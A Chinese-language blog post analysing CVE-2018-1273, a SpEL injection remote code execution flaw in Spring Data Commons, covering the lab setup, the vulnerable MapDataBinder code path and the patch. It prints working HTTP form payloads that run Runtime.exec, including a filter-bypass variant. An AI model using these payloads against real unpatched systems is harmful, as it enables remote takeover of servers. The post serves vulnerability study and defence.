Chybeta

Spring Data Commons Remote Code Execution 分析-【CVE-2018-1273】

Spring Data Commons Remote Code Execution 分析-【CVE-2018-1273】

前言

https://pivotal.io/security/cve-2018-1273

漏洞影响版本:

  • 2.0.x users should upgrade to 2.0.6
  • 1.13.x users should upgrade to 1.13.11
  • Older versions should upgrade to a supported branch

探索过程

从漏洞公告页的Refference给出的两个链接commit/b1a20ae1e82a63f99b3afc6f2aaedb3bf4dc432acommit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653,可以看出该漏洞为SpEL注入。

在漏洞发现者Philippe Arteau @h3xstream推文和回复中提到:

1
2
3
4
5
@requestMapping("/users")
class UserController {
@requestsMapping(method= RequestMethod.POST)
public Object register(UserForm userForm, BindingResult binding, Model model){}
}

此外 Spring Data Team @SpringData在该推文中回复:

1
2
Spring Data Team
‏That's only true if the form backing object is a projection interface. Simple DTOs are safe.

因此可以推测出几个漏洞条件:

  1. Spel注入
  2. a form accessible
  3. form backing object is a projection interface

另外根据Philippe Arteau @h3xstream提供的示例代码,不难发现这是spring官方的示例代码 spring-data-examples 中的一部分

因此环境搭建以及漏洞探索过程不妨从此入手。

环境搭建

1
git clone https://github.com/spring-projects/spring-data-examples

我直接采用默认配置pom.xml,对应的Spring Data Commons版本为2.0.5

运行其中的web\example。

这是一个简单的注册页面,输入用户名、密码并重复。

抓包,修改payload数据:

1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]=chybeta&password=chybeta&repeatedPassword=chybeta

漏洞分析

限于能力,还真不知道这个洞该从何谈起。干脆就定位到 org/springframework/data/web/MapDataBinder.java:174 。之所以定位到这里,官方的commit中在这里去除了StandardEvaluationContext,改用SimpleEvaluationContext。


可以看到这里的propertyName即我们传入的参数名,其中带有了payaload。


继续执行至187行,对其进行解析parseExpression(propertyName)


继续执行到217行,解析了spel表达式,成功执行calc.exe。

spring-messaging Remote Code Execution 分析-【CVE-2018-1270】中使用的expression.getValue(context, Boolean.class)不同,这里执行spel表达式使用的是expression.setValue(context, value)。以后在找类似的spel表达式注入时可以针对性查找这两条语句。

上图来自0c0c0f师傅的CVE-2018-1270 Remote Code Execution with spring-messaging

漏洞修补

以 spring-data-commons 2.0.6 版本为例 https://github.com/spring-projects/spring-data-commons/commit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653

换用SimpleEvaluationContext,用于实现简单的数据绑定,保持灵活性减少安全隐患(来自360cert语)。

参考

后记

Spring Data Commons 2.0.5版本怼了一天,从早上8点怼到现在,尽管确定了Spel注入点,但就是用普通的表达式弹不出计算器。比如使用 T(java.lang.Runtime).getRuntime().exec('calc.exe')

用动态调用(new java.lang.ProcessBuilder('calc')).start()的方式也会触发失败。

刚刚才看到xxlegend大师傅在其中说明了原因Spring Data Commons 2.0.5版本中 MapDataBinder.java 的182添加了:

1
2
3
context.setTypeLocator(typeName -> {
throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, typeName);
});

最后用下面的payload可以绕过

1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]=chybeta&password=chybeta&repeatedPassword=chybeta

另外matthiaskaiser 在 https://gist.github.com/matthiaskaiser/bfb274222c009b3570ab26436dc8799e 给出了另一个payload:

1
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf

关于这个payload是怎么出来的,可以借鉴以下几个漏洞

  1. ElasticSearch Groovy脚本远程代码执行漏洞分析(CVE-2015-1427)
    13.jpg
  2. WebView 远程代码执行漏洞浅析
    12.jpg

本文标题:Spring Data Commons Remote Code Execution 分析-【CVE-2018-1273】

文章作者:chybeta

发布时间:2018年04月11日 - 23:04

最后更新:2018年04月12日 - 22:04

原始链接:http://chybeta.github.io/2018/04/11/Spring-Data-Commons-Remote-Code-Execution-分析-【CVE-2018-1273】/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

坚持原创技术分享,您的支持将鼓励我继续创作!